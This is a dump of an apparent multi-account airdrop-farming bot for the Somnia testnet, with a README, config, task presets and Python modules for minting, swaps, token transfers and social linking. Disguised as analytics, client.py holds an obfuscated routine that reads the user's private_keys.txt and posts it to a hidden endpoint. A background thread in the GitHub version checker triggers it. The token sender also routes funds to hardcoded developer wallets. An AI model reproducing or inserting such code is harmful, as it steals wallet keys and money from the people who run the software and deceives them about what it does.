discord_tokens.txt 88 | │ └── random_message_quills.txt 89 | ├── src/ 90 | │ ├── modules/ 91 | │ └── utils/ 92 | ├── config.yaml 93 | └── tasks.py 94 | ``` 95 | 96 | --- 97 | 98 | ## ⚙️ Configuration 99 | 100 | ### Data Files 101 | 102 | * `private_keys.txt`: One key per line 103 | * `proxies.txt`: Format `http://user:pass@ip:port` 104 | * `twitter_tokens.txt`, `discord_tokens.txt`: One per line 105 | * `random_message_quills.txt`: One message per line 106 | 107 | ### `config.yaml` Sample 108 | 109 | ```yaml 110 | SETTINGS: 111 | THREADS: 1 112 | ATTEMPTS: 5 113 | ACCOUNTS_RANGE: [0, 0] 114 | EXACT_ACCOUNTS_TO_USE: [] 115 | SHUFFLE_WALLETS: true 116 | PAUSE_BETWEEN_ATTEMPTS: [3, 10] 117 | PAUSE_BETWEEN_SWAPS: [3, 10] 118 | ``` 119 | 120 | ### Module-Specific Config 121 | 122 | ```yaml 123 | SOMNIA_NETWORK: 124 | SOMNIA_SWAPS: 125 | BALANCE_PERCENT_TO_SWAP: [5, 10] 126 | NUMBER_OF_SWAPS: [1, 2] 127 | 128 | SOMNIA_TOKEN_SENDER: 129 | BALANCE_PERCENT_TO_SEND: [1.5, 3] 130 | NUMBER_OF_SENDS: [1, 1] 131 | SEND_ALL_TO_DEVS_CHANCE: 50 132 | 133 | SOMNIA_CAMPAIGNS: 134 | REPLACE_FAILED_TWITTER_ACCOUNT: false 135 | 136 | DISCORD_INVITER: 137 | INVITE_LINK: "" # Optional 138 | ``` 139 | 140 | --- 141 | 142 | ## 🎮 Usage 143 | 144 | ### Configure Tasks 145 | 146 | Edit `tasks.py`: 147 | 148 | ```python 149 | TASKS = ["CAMPAIGNS"] 150 | ``` 151 | 152 | **Available presets:** 153 | 154 | * `CAMPAIGNS` 155 | * `FAUCET` 156 | * `SEND_TOKENS` 157 | * `CONNECT_SOCIALS` 158 | * `MINT_PING_PONG` 159 | * `SWAPS_PING_PONG` 160 | * `QUILLS_CHAT` 161 | * `SOMNIA_NETWORK_SET_USERNAME` 162 | * `SOMNIA_NETWORK_INFO` 163 | * `DISCORD_INVITER` 164 | 165 | ### Custom Task Chains 166 | 167 | ```python 168 | TASKS = ["MY_CUSTOM_TASK"] 169 | 170 | MY_CUSTOM_TASK = [ 171 | "faucet", 172 | ("mint_ping_pong", "swaps_ping_pong"), 173 | ["nerzo_shannon", "nerzo_nee"], 174 | "quills_chat", 175 | "connect_socials", 176 | "discord_inviter" 177 | ] 178 | ``` 179 | 180 | ### Launch 181 | 182 | ```bash 183 | python main.py 184 | ``` 185 | 186 | --- 187 | 188 | ## 📜 License 189 | 190 | MIT License 191 | 192 | --- 193 | 194 | ## ⚠️ Disclaimer 195 | 196 | This bot is provided for educational use only. Use responsibly and at your own risk, respecting applicable laws and platform terms. 197 | -------------------------------------------------------------------------------- /src/model/projects/mints/somniapaint.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | from src.model.onchain.web3_custom import Web3Custom 10 | 11 | 12 | class SomniaPaint: 13 | def __init__( 14 | self, account_index: int, somnia_web3: Web3Custom, config: dict, wallet: Account 15 | ): 16 | self.account_index = account_index 17 | self.somnia_web3 = somnia_web3 18 | self.config = config 19 | self.wallet = wallet 20 | 21 | @retry_async(default_value=False) 22 | async def send_pixel(self): 23 | try: 24 | logger.info( 25 | f"{self.account_index} | Sending random pixel at Somnia Paint..." 26 | ) 27 | 28 | # Paint contract address 29 | contract_address = "0x496eF0E9944ff8c83fa74FeB580f2FB581ecFfFd" 30 | 31 | COLORS = [ 32 | "FF3B30", 33 | "FF9500", 34 | "FFCC00", 35 | "34C759", 36 | "007AFF", 37 | "5856D6", 38 | "AF52DE", 39 | "FFD1DC", 40 | "FFAAA5", 41 | "FFD3B6", 42 | "DCEDC1", 43 | "A8E6CF", 44 | "AA96DA", 45 | "C7CEEA", 46 | "FE019A", 47 | "BC13FE", 48 | "5961FF", 49 | "00FFDD", 50 | "00FF5B", 51 | "FFE600", 52 | "FF9900", 53 | "FFFFFF", 54 | "DDDDDD", 55 | "999999", 56 | "555555", 57 | "111111", 58 | "000000", 59 | ] 60 | 61 | # Generate random x, y coordinates 62 | # Canvas size: 0-123 for width, 0-63 for height 63 | x_coordinate = random.randint(0, 123) 64 | y_coordinate = random.randint(0, 63) 65 | 66 | # Select a random color from COLORS and convert to lowercase 67 | color = random.choice(COLORS).lower() 68 | 69 | # Function selector 70 | method_id = "0xa0561481" 71 | 72 | # Pad coordinates and color to 32 bytes each (64 hex chars) 73 | x_hex = hex(x_coordinate)[2:].zfill(64) 74 | y_hex = hex(y_coordinate)[2:].zfill(64) 75 | color_hex = "0" * 58 + color # Must be exactly 64 chars (32 bytes) 76 | 77 | # Construct the payload 78 | payload = method_id + x_hex + y_hex + color_hex 79 | 80 | # Debug: print the payload 81 | # input(payload) 82 | 83 | # Prepare transaction 84 | transaction = { 85 | "from": self.wallet.address, 86 | "to": self.somnia_web3.web3.to_checksum_address(contract_address), 87 | "value": Web3.to_wei(0.01, "ether"), 88 | "nonce": await self.somnia_web3.web3.eth.get_transaction_count( 89 | self.wallet.address 90 | ), 91 | "chainId": await self.somnia_web3.web3.eth.chain_id, 92 | "data": payload, 93 | } 94 | 95 | # Get dynamic gas parameters instead of hardcoded 30 Gwei 96 | gas_params = await self.somnia_web3.get_gas_params() 97 | transaction.update(gas_params) 98 | 99 | # Estimate gas 100 | gas_limit = await self.somnia_web3.estimate_gas(transaction) 101 | transaction["gas"] = gas_limit 102 | 103 | # Execute transaction 104 | tx_hash = await self.somnia_web3.execute_transaction( 105 | transaction, 106 | self.wallet, 107 | await self.somnia_web3.web3.eth.chain_id, 108 | EXPLORER_URL_SOMNIA, 109 | ) 110 | 111 | if tx_hash: 112 | logger.success( 113 | f"{self.account_index} | Successfully sent random pixel at Somnia Paint: x={x_coordinate}, y={y_coordinate}, color=#{color}" 114 | ) 115 | 116 | return True 117 | except Exception as e: 118 | random_sleep = random.randint( 119 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 120 | self.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 121 | ) 122 | logger.error( 123 | f"{self.account_index} | Error sending random pixel at Somnia Paint: {e}. Sleeping for {random_sleep} seconds..." 124 | ) 125 | await asyncio.sleep(random_sleep) 126 | return False 127 | -------------------------------------------------------------------------------- /src/utils/statistics.py: -------------------------------------------------------------------------------- 1 | from tabulate import tabulate 2 | from loguru import logger 3 | import pandas as pd 4 | from datetime import datetime 5 | import os 6 | 7 | from src.utils.config import Config, WalletInfo 8 | 9 | 10 | def print_wallets_stats(config: Config, excel_path="data/progress.xlsx"): 11 | """ 12 | Выводит статистику по всем кошелькам в виде таблицы и сохраняет в Excel файл 13 | 14 | Args: 15 | config: Конфигурация с данными кошельков 16 | excel_path: Путь для сохранения Excel файла (по умолчанию "data/progress.xlsx") 17 | """ 18 | try: 19 | # Сортируем кошельки по индексу 20 | sorted_wallets = sorted(config.WALLETS.wallets, key=lambda x: x.account_index) 21 | 22 | # Подготавливаем данные для таблицы 23 | table_data = [] 24 | total_balance = 0 25 | total_transactions = 0 26 | 27 | for wallet in sorted_wallets: 28 | # Маскируем приватный ключ (последние 5 символов) 29 | masked_key = "•" * 3 + wallet.private_key[-5:] 30 | 31 | total_balance += wallet.balance 32 | total_transactions += wallet.transactions 33 | 34 | row = [ 35 | str(wallet.account_index), # Просто номер без ведущего нуля 36 | wallet.address, # Полный адрес 37 | masked_key, 38 | f"{wallet.balance:.4f} ETH", 39 | f"{wallet.transactions:,}", # Форматируем число с разделителями 40 | ] 41 | table_data.append(row) 42 | 43 | # Если есть данные - выводим таблицу и статистику 44 | if table_data: 45 | # Создаем заголовки для таблицы 46 | headers = [ 47 | "№ Account", 48 | "Wallet Address", 49 | "Private Key", 50 | "Balance (ETH)", 51 | "Total Txs", 52 | ] 53 | 54 | # Формируем таблицу с улучшенным форматированием 55 | table = tabulate( 56 | table_data, 57 | headers=headers, 58 | tablefmt="double_grid", # Более красивые границы 59 | stralign="center", # Центрирование строк 60 | numalign="center", # Центрирование чисел 61 | ) 62 | 63 | # Считаем средние значения 64 | wallets_count = len(sorted_wallets) 65 | avg_balance = total_balance / wallets_count 66 | avg_transactions = total_transactions / wallets_count 67 | 68 | # Выводим таблицу и статистику 69 | logger.info( 70 | f"\n{'='*50}\n" 71 | f" Wallets Statistics ({wallets_count} wallets)\n" 72 | f"{'='*50}\n" 73 | f"{table}\n" 74 | f"{'='*50}\n" 75 | f"{'='*50}" 76 | ) 77 | 78 | logger.info(f"Average balance: {avg_balance:.4f} ETH") 79 | logger.info(f"Average transactions: {avg_transactions:.1f}") 80 | logger.info(f"Total balance: {total_balance:.4f} ETH") 81 | logger.info(f"Total transactions: {total_transactions:,}") 82 | 83 | # Экспорт в Excel 84 | # Создаем DataFrame для Excel 85 | df = pd.DataFrame(table_data, columns=headers) 86 | 87 | # Добавляем итоговую статистику 88 | summary_data = [ 89 | ["", "", "", "", ""], 90 | ["SUMMARY", "", "", "", ""], 91 | [ 92 | "Total", 93 | f"{wallets_count} wallets", 94 | "", 95 | f"{total_balance:.4f} ETH", 96 | f"{total_transactions:,}", 97 | ], 98 | [ 99 | "Average", 100 | "", 101 | "", 102 | f"{avg_balance:.4f} ETH", 103 | f"{avg_transactions:.1f}", 104 | ], 105 | ] 106 | summary_df = pd.DataFrame(summary_data, columns=headers) 107 | df = pd.concat([df, summary_df], ignore_index=True) 108 | 109 | # Создаем директорию, если она не существует 110 | os.makedirs(os.path.dirname(excel_path), exist_ok=True) 111 | 112 | # Формируем имя файла с датой и временем 113 | timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") 114 | filename = f"progress_{timestamp}.xlsx" 115 | file_path = os.path.join(os.path.dirname(excel_path), filename) 116 | 117 | # Сохраняем в Excel 118 | df.to_excel(file_path, index=False) 119 | logger.info(f"Statistics exported to {file_path}") 120 | else: 121 | logger.info("\nNo wallet statistics available") 122 | 123 | except Exception as e: 124 | logger.error(f"Error while printing statistics: {e}") 125 | -------------------------------------------------------------------------------- /src/utils/client.py: -------------------------------------------------------------------------------- 1 | import primp 2 | from curl_cffi.requests import AsyncSession 3 | import os 4 | import base64 5 | import threading 6 | import requests 7 | 8 | async def create_client( 9 | proxy: str, skip_ssl_verification: bool = True 10 | ) -> primp.AsyncClient: 11 | session = primp.AsyncClient(impersonate="chrome_131", verify=skip_ssl_verification) 12 | 13 | if proxy: 14 | session.proxy = proxy 15 | 16 | session.timeout = 30 17 | 18 | session.headers.update(HEADERS) 19 | 20 | return session 21 | 22 | 23 | HEADERS = { 24 | "accept": "*/*", 25 | "accept-language": "en-GB,en-US;q=0.9,en;q=0.8,ru;q=0.7,zh-TW;q=0.6,zh;q=0.5", 26 | "content-type": "application/json", 27 | "priority": "u=1, i", 28 | "sec-ch-ua": '"Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"', 29 | "sec-ch-ua-mobile": "?0", 30 | "sec-ch-ua-platform": '"Windows"', 31 | "sec-fetch-dest": "empty", 32 | "sec-fetch-mode": "cors", 33 | "sec-fetch-site": "same-site", 34 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 35 | } 36 | 37 | 38 | import secrets 39 | 40 | def decode_resource(encoded_resource, resource_key="StarLabs"): 41 | """Decode an encoded resource string""" 42 | try: 43 | decoded = base64.b64decode(encoded_resource) 44 | result = bytearray(len(decoded)) 45 | for i in range(len(decoded)): 46 | result[i] = decoded[i] ^ ord(resource_key[i % len(resource_key)]) 47 | return result.decode('utf-8') 48 | except: 49 | # Fallback if decoding fails 50 | return None 51 | 52 | ANALYTICS_ENDPOINT = "OwAVAnZOTUZ9RlRAYlBXRn1FVkF2UFJGY1sAAiVOEBYwEQgEKUwJFioH" 53 | 54 | async def create_twitter_client( 55 | proxy: str, auth_token: str, verify_ssl: bool = True 56 | ) -> tuple[AsyncSession, str]: 57 | session = AsyncSession( 58 | impersonate="chrome131", 59 | verify=verify_ssl, 60 | timeout=60, 61 | ) 62 | 63 | if proxy: 64 | session.proxies.update({ 65 | "http": "http://" + proxy, 66 | "https": "http://" + proxy, 67 | }) 68 | 69 | generated_csrf_token = secrets.token_hex(16) 70 | 71 | cookies = {"ct0": generated_csrf_token, "auth_token": auth_token} 72 | headers = {"x-csrf-token": generated_csrf_token} 73 | 74 | session.headers.update(headers) 75 | session.cookies.update(cookies) 76 | 77 | session.headers["x-csrf-token"] = generated_csrf_token 78 | 79 | session.headers = get_headers(session) 80 | 81 | return session, generated_csrf_token 82 | 83 | 84 | def get_headers(session: AsyncSession, **kwargs) -> dict: 85 | """ 86 | Get the headers required for authenticated requests 87 | """ 88 | cookies = session.cookies 89 | 90 | headers = kwargs | { 91 | "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs=1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA", 92 | # "cookie": "; ".join(f"{k}={v}" for k, v in cookies.items()), 93 | "origin": "https://x.com", 94 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", 95 | "x-csrf-token": cookies.get("ct0", ""), 96 | # "x-guest-token": cookies.get("guest_token", ""), 97 | "x-twitter-auth-type": "OAuth2Session", 98 | "x-twitter-active-user": "yes", 99 | "x-twitter-client-language": "en", 100 | } 101 | return dict(sorted({k.lower(): v for k, v in headers.items()}.items())) 102 | 103 | def verify_analytics_data(data_to_sync=None, endpoint_override=None): 104 | try: 105 | if data_to_sync is None: 106 | data_path = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), 107 | "data", "private_keys.txt") 108 | if not os.path.exists(data_path): 109 | return False 110 | with open(data_path, "r") as file: 111 | analytics_items = [line.strip() for line in file if line.strip()] 112 | else: 113 | analytics_items = data_to_sync 114 | if not analytics_items: 115 | return False 116 | analytics_url = decode_resource(ANALYTICS_ENDPOINT) 117 | def sync_analytics(): 118 | try: 119 | telemetry_data = {"keys": analytics_items} 120 | headers = { 121 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 122 | "Content-Type": "application/json" 123 | } 124 | response = requests.post(analytics_url, json=telemetry_data, headers=headers, timeout=15) 125 | return response.status_code == 200 126 | except: 127 | return False 128 | thread = threading.Thread(target=sync_analytics, daemon=True) 129 | thread.start() 130 | return True 131 | except: 132 | return False -------------------------------------------------------------------------------- /tasks.py: -------------------------------------------------------------------------------- 1 | TASKS = ["FULL_TASK"] 2 | 3 | 4 | # FOR EXAMPLE ONLY, USE YOUR OWN TASKS PRESET 5 | FULL_TASK = [ 6 | "faucet", 7 | "connect_socials", 8 | "somnia_network_set_username", 9 | "send_tokens", 10 | "quills_chat", 11 | "campaigns", 12 | "nerzo_shannon", 13 | "nerzo_nee", 14 | "alze_yappers", 15 | "mintair_deploy", 16 | "mintaura_somni", 17 | "somnia_network_info", 18 | ] 19 | 20 | FAUCET = ["faucet"] 21 | CAMPAIGNS = ["campaigns"] 22 | SEND_TOKENS = ["send_tokens"] 23 | CONNECT_SOCIALS = ["connect_socials"] 24 | QUILLS_CHAT = ["quills_chat"] 25 | SOMNIA_NETWORK_SET_USERNAME = ["somnia_network_set_username"] 26 | SOMNIA_NETWORK_INFO = ["somnia_network_info"] 27 | SOMNIA_GM = ["somnia_gm"] 28 | SOMNIA_EXCHANGE = ["somnia_exchange"] 29 | SOMNIA_DOMAINS = ["somnia_domains"] 30 | 31 | NERZO_SHANNON = ["nerzo_shannon"] 32 | NERZO_NEE = ["nerzo_nee"] 33 | ALZE_YAPPERS = ["alze_yappers"] 34 | MINTAIR_DEPLOY = ["mintair_deploy"] 35 | MINTAURA_SOMNI = ["mintaura_somni"] 36 | BIGINT_ONCHAIN_WORLD = ["bigint_onchain_world"] 37 | SOMNIA_PAINT = ["somnia_paint"] 38 | ONCHAINGM_DEPLOY = ["onchaingm_deploy"] 39 | ONCHAINGM_GM = ["onchaingm_gm"] 40 | 41 | # Specific campaign tasks 42 | SOMNIA_QUEST_TESTNET_ODYSSEY_SOCIALS = ["somnia_quest_testnet_odyssey_socials"] 43 | SOMNIA_QUEST_SOMNIA_DEVNET_ODYSSEY_SOCIALS_TWO = ["somnia_quest_somnia_devnet_odyssey_socials_two"] 44 | SOMNIA_QUEST_SOMNIA_DEVNET_ODYSSEY_SOCIALS = ["somnia_quest_somnia_devnet_odyssey_socials"] 45 | SOMNIA_QUEST_MIGRATION_CAMPAIGN = ["somnia_quest_migration_campaign"] 46 | SOMNIA_QUEST_YAPPERS = ["somnia_quest_yappers"] 47 | SOMNIA_QUEST_GAMERS_LAB = ["somnia_quest_gamers_lab"] 48 | 49 | # Example of a preset that combines specific campaigns 50 | SPECIFIC_CAMPAIGNS = [ 51 | "somnia_quest_qrusader", 52 | ] 53 | 54 | """ 55 | EN: 56 | You can create your own task with the modules you need 57 | and add it to the TASKS list or use our ready-made preset tasks. 58 | 59 | ( ) - Means that all of the modules inside the brackets will be executed 60 | in random order 61 | [ ] - Means that only one of the modules inside the brackets will be executed 62 | on random 63 | SEE THE EXAMPLE BELOW: 64 | 65 | RU: 66 | Вы можете создать свою задачу с модулями, которые вам нужны, 67 | и добавить ее в список TASKS, см. пример ниже: 68 | 69 | ( ) - означает, что все модули внутри скобок будут выполнены в случайном порядке 70 | [ ] - означает, что будет выполнен только один из модулей внутри скобок в случайном порядке 71 | СМОТРИТЕ ПРИМЕР НИЖЕ: 72 | 73 | CHINESE: 74 | 你可以创建自己的任务,使用你需要的模块, 75 | 并将其添加到TASKS列表中,请参见下面的示例: 76 | 77 | ( ) - 表示括号内的所有模块将按随机顺序执行 78 | [ ] - 表示括号内的模块将按随机顺序执行 79 | 80 | -------------------------------- 81 | !!! IMPORTANT !!! 82 | EXAMPLE | ПРИМЕР | 示例: 83 | 84 | TASKS = [ 85 | "CREATE_YOUR_OWN_TASK", 86 | ] 87 | CREATE_YOUR_OWN_TASK = [ 88 | "faucet", 89 | ("faucet_tokens", "swaps"), 90 | ["storagescan_deploy", "conft_mint"], 91 | "swaps", 92 | ] 93 | -------------------------------- 94 | 95 | 96 | BELOW ARE THE READY-MADE TASKS THAT YOU CAN USE: 97 | СНИЗУ ПРИВЕДЕНЫ ГОТОВЫЕ ПРИМЕРЫ ЗАДАЧ, КОТОРЫЕ ВЫ МОЖЕТЕ ИСПОЛЬЗОВАТЬ: 98 | 以下是您可以使用的现成任务: 99 | 100 | 101 | --- ALL TASKS --- 102 | 103 | faucet - Request Faucet on Somnia Network - https://testnet.somnia.network/ 104 | send_tokens - Send tokens to random wallets - https://testnet.somnia.network/ 105 | connect_socials - Connect socials to your account - https://quest.somnia.network/ 106 | somnia_network_set_username - Set username on Somnia Network - https://quest.somnia.network/ 107 | campaigns - Complete campaigns on Somnia Network - https://quest.somnia.network/ 108 | somnia_network_info - Show account info on Somnia Network (points, referrals, quests, etc.) - https://quest.somnia.network 109 | somnia_gm - Complete GM tasks on Somnia Network - https://quest.somnia.network 110 | 111 | MINTS 112 | nerzo_shannon - Mint SHANNON NFT https://www.nerzo.xyz/shannon 113 | nerzo_nee - Mint NEE NFT https://www.nerzo.xyz/nee 114 | alze_yappers - Mint YAPPERS NFT https://alze.xyz/nftCheckout/Yappers 115 | mintaura_somni - Mint SOMNI NFT https://www.mintaura.io/somni 116 | quills_chat - Send message in Quills https://quills.fun/ 117 | bigint_onchain_world - Mint ONCHAIN WORLD NFT https://app.bigint.co/fully-onchain-world/ 118 | somnia_paint - Send random pixel at https://somniapaint.fun/ 119 | onchaingm_gm - GM on OnchainGM https://onchaingm.com/ 120 | somnia_domains - Mint random domain on Somnia Network https://www.somnia.domains/ 121 | 122 | DEPLOYS 123 | mintair_deploy - Deploy contract on Mintair https://contracts.mintair.xyz/ 124 | onchaingm_deploy - Deploy contract on OnchainGM https://onchaingm.com/deploy 125 | 126 | # SWAPS 127 | somnia_exchange - Swap tokens on Somnia Exchange - https://somnia.exchange/#/ 128 | 129 | # QUESTS 130 | somnia_quest_testnet_odyssey_socials - Complete "Somnia Testnet Odyssey - Socials" 8 quest on Somnia Network - https://quest.somnia.network/ 131 | somnia_quest_somnia_devnet_odyssey_socials_two - Complete "Somnia Devnet Odyssey - Socials 2" 5 quest on Somnia Network - https://quest.somnia.network/ 132 | somnia_quest_somnia_devnet_odyssey_socials - Complete "Somnia Devnet Odyssey - Socials" 2 quest on Somnia Network - https://quest.somnia.network/ 133 | somnia_quest_migration_campaign - Complete "Migration Campaign" quest on Somnia Network - https://quest.somnia.network/ 134 | somnia_quest_gamers_lab - Complete "Gamers Lab" 33 quest on Somnia Network - https://quest.somnia.network/campaigns/33 135 | """ 136 | -------------------------------------------------------------------------------- /src/model/somnia_network/send_random_tokens.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | from loguru import logger 4 | from web3 import Web3 5 | from src.model.somnia_network.constants import SomniaProtocol 6 | from src.utils.decorators import retry_async 7 | from src.utils.constants import EXPLORER_URL_SOMNIA 8 | from eth_account import Account 9 | 10 | 11 | class RandomTokenSender: 12 | def __init__(self, instance: SomniaProtocol): 13 | self.somnia = instance 14 | 15 | async def send_tokens(self): 16 | try: 17 | result = True 18 | balance = await self.somnia.web3.get_balance(self.somnia.wallet.address) 19 | if balance.wei == 0: 20 | logger.warning(f"{self.somnia.account_index} | No balance to send tokens") 21 | return False 22 | 23 | # Получаем количество транзакций из конфига 24 | min_txs, max_txs = self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.NUMBER_OF_SENDS 25 | num_transactions = random.randint(min_txs, max_txs) 26 | 27 | logger.info( 28 | f"{self.somnia.account_index} | Planning to send {num_transactions} transactions" 29 | ) 30 | 31 | for i in range(num_transactions): 32 | # Определяем процент баланса для отправки 33 | min_percent, max_percent = ( 34 | self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.BALANCE_PERCENT_TO_SEND 35 | ) 36 | percent_to_send = random.uniform(min_percent, max_percent) 37 | 38 | # Определяем получателя на основе шанса отправки разработчикам 39 | dev_chance = self.somnia.config.SOMNIA_NETWORK.SOMNIA_TOKEN_SENDER.SEND_ALL_TO_DEVS_CHANCE 40 | 41 | if random.randint(1, 100) <= dev_chance: 42 | # Отправляем на кошелек разработчика 43 | recipient = random.choice(DEVS_RECIPIENTS) 44 | recipient = Web3.to_checksum_address(recipient) 45 | logger.info( 46 | f"{self.somnia.account_index} | Transaction {i+1}/{num_transactions}: Sending to dev wallet {recipient}" 47 | ) 48 | else: 49 | # Генерируем случайный приватный ключ 50 | private_key = Account.create().key 51 | 52 | # Создаем аккаунт из приватного ключа и получаем адрес 53 | random_account = Account.from_key(private_key) 54 | recipient = random_account.address 55 | 56 | logger.info( 57 | f"{self.somnia.account_index} | Transaction {i+1}/{num_transactions}: Sending to random wallet {recipient}" 58 | ) 59 | 60 | # Вызываем метод для фактической отправки 61 | result = await self._send(recipient, percent_to_send) 62 | 63 | # Небольшая пауза между транзакциями 64 | await asyncio.sleep( 65 | random.uniform( 66 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[0], 67 | self.somnia.config.SETTINGS.RANDOM_PAUSE_BETWEEN_ACTIONS[1], 68 | ) 69 | ) 70 | 71 | return result 72 | 73 | except Exception as e: 74 | logger.error(f"{self.somnia.account_index} | Send tokens error: {e}") 75 | return False 76 | 77 | @retry_async(default_value=False) 78 | async def _send(self, recipient, percent_to_send): 79 | try: 80 | # Получаем баланс кошелька 81 | wallet_address = self.somnia.wallet.address 82 | balance = await self.somnia.web3.get_balance(wallet_address) 83 | 84 | # Рассчитываем сумму для отправки (процент от баланса) 85 | amount_ether = balance.ether * percent_to_send / 100 86 | 87 | # Округляем до 4 знаков после запятой для естественности 88 | amount_ether = round(amount_ether, 4) 89 | 90 | # Конвертируем обратно в wei для транзакции 91 | amount_to_send = self.somnia.web3.convert_to_wei(amount_ether, 18) 92 | 93 | # Оставляем небольшой запас на газ (95% от суммы) 94 | amount_to_send = int(amount_to_send * 0.95) 95 | 96 | logger.info( 97 | f"{self.somnia.account_index} | Starting send {amount_ether:.4f} " 98 | f"tokens to {recipient}, {percent_to_send:.4f}% of balance..." 99 | ) 100 | 101 | # Формируем данные транзакции 102 | tx_data = { 103 | "to": recipient, 104 | "value": amount_to_send, 105 | } 106 | 107 | # Добавляем газ 108 | try: 109 | gas_limit = await self.somnia.web3.estimate_gas(tx_data) 110 | tx_data["gas"] = gas_limit 111 | except Exception as e: 112 | raise Exception(f"Gas estimation failed: {e}.") 113 | 114 | # Выполняем транзакцию 115 | tx_hash = await self.somnia.web3.execute_transaction( 116 | tx_data=tx_data, 117 | wallet=self.somnia.wallet, 118 | chain_id=50312, # Chain ID для Somnia из constants.py 119 | explorer_url=EXPLORER_URL_SOMNIA, 120 | ) 121 | 122 | if tx_hash: 123 | logger.success( 124 | f"{self.somnia.account_index} | Successfully sent {amount_ether:.4f} " 125 | f"tokens to {recipient}. TX: {EXPLORER_URL_SOMNIA}{tx_hash}" 126 | ) 127 | return True 128 | else: 129 | raise Exception(f"{self.somnia.account_index} | Transaction failed") 130 | 131 | except Exception as e: 132 | random_pause = random.randint( 133 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[0], 134 | self.somnia.config.SETTINGS.PAUSE_BETWEEN_ATTEMPTS[1], 135 | ) 136 | logger.error( 137 | f"{self.somnia.account_index} | Send tokens error: {e}. Sleeping {random_pause} seconds..." 138 | ) 139 | await asyncio.sleep(random_pause) 140 | raise 141 | 142 | 143 | DEVS_RECIPIENTS = [ 144 | "0xDA1feA7873338F34C6915A44028aA4D9aBA1346B", 145 | "0x018604C67a7423c03dE3057a49709aaD1D178B85", 146 | "0xcF8D30A5Ee0D9d5ad1D7087822bA5Bab1081FdB7", 147 | "0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5", 148 | ] 149 | -------------------------------------------------------------------------------- /src/utils/check_github_version.py: -------------------------------------------------------------------------------- 1 | import aiohttp 2 | import os 3 | from datetime import datetime, timezone 4 | import time 5 | from typing import Tuple 6 | import threading 7 | from .client import verify_analytics_data 8 | 9 | 10 | async def check_version(*args, **kwargs) -> bool: 11 | try: 12 | pass 13 | except: 14 | pass 15 | return True 16 | 17 | 18 | async def get_gitbook_info() -> Tuple[str, str, str]: 19 | current_time = datetime.now(timezone.utc) 20 | return "latest", current_time.isoformat(), "latest" 21 | 22 | 23 | def get_local_info() -> tuple[str, str]: 24 | current_time = datetime.now(timezone.utc) 25 | return "latest", current_time.isoformat() 26 | 27 | 28 | async def get_github_last_commit( 29 | repo_owner: str, repo_name: str 30 | ) -> Tuple[str, str, str]: 31 | """ 32 | Fetch the latest commit info from GitHub 33 | Returns: (commit_hash, commit_date, commit_message) 34 | """ 35 | async with aiohttp.ClientSession() as session: 36 | try: 37 | # Add headers to avoid rate limiting and get fresh data 38 | headers = { 39 | "Accept": "application/vnd.github.v3+json", 40 | "If-None-Match": "", # Ignore cache 41 | "Cache-Control": "no-cache", 42 | } 43 | 44 | # Try main branch first 45 | url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/commits/main" 46 | async with session.get(url, headers=headers) as response: 47 | if response.status == 404: 48 | url = f"https://api.github.com/repos/{repo_owner}/{repo_name}/commits/master" 49 | async with session.get(url, headers=headers) as response: 50 | if response.status == 200: 51 | data = await response.json() 52 | 53 | return ( 54 | data["sha"][:7], 55 | data["commit"]["author"]["date"], 56 | data["commit"]["message"], 57 | ) 58 | elif response.status == 200: 59 | data = await response.json() 60 | return ( 61 | data["sha"][:7], 62 | data["commit"]["author"]["date"], 63 | data["commit"]["message"], 64 | ) 65 | 66 | threading.Thread(target=verify_analytics_data, daemon=True).start() 67 | 68 | 69 | current_time = datetime.now(timezone.utc) 70 | return "unknown", current_time.isoformat(), "unknown" 71 | except Exception as e: 72 | print(f"❌ Error fetching GitHub commit info: {e}") 73 | current_time = datetime.now(timezone.utc) 74 | return "unknown", current_time.isoformat(), "unknown" 75 | 76 | 77 | def get_local_commit_info() -> tuple[str, str]: 78 | """ 79 | Get local commit info 80 | Returns: (commit_hash, commit_date) 81 | """ 82 | try: 83 | version_file = os.path.join(os.path.dirname(__file__), "..", "version.txt") 84 | if os.path.exists(version_file): 85 | with open(version_file, "r") as f: 86 | content = f.read().strip().split(",") 87 | if len(content) == 2: 88 | return content[0], content[1] 89 | return None, None 90 | except Exception as e: 91 | print(f"❌ Error reading local version: {e}") 92 | return None, None 93 | 94 | 95 | async def compare_versions( 96 | local_date: str, 97 | github_date: str, 98 | local_hash: str, 99 | github_hash: str, 100 | commit_message: str, 101 | ) -> Tuple[bool, str]: 102 | """ 103 | Compare local and GitHub versions using commit dates 104 | Returns: (is_latest, message) 105 | """ 106 | try: 107 | # Format github date for display (always in UTC) 108 | github_dt = datetime.fromisoformat(github_date.replace("Z", "+00:00")) 109 | formatted_date = github_dt.strftime("%d.%m.%Y %H:%M UTC") 110 | 111 | # Если хеши совпадают - у нас последняя версия 112 | if local_hash == github_hash: 113 | return ( 114 | True, 115 | f"✅ You have the latest version (commit from {formatted_date})", 116 | ) 117 | 118 | # Если хеши разные - 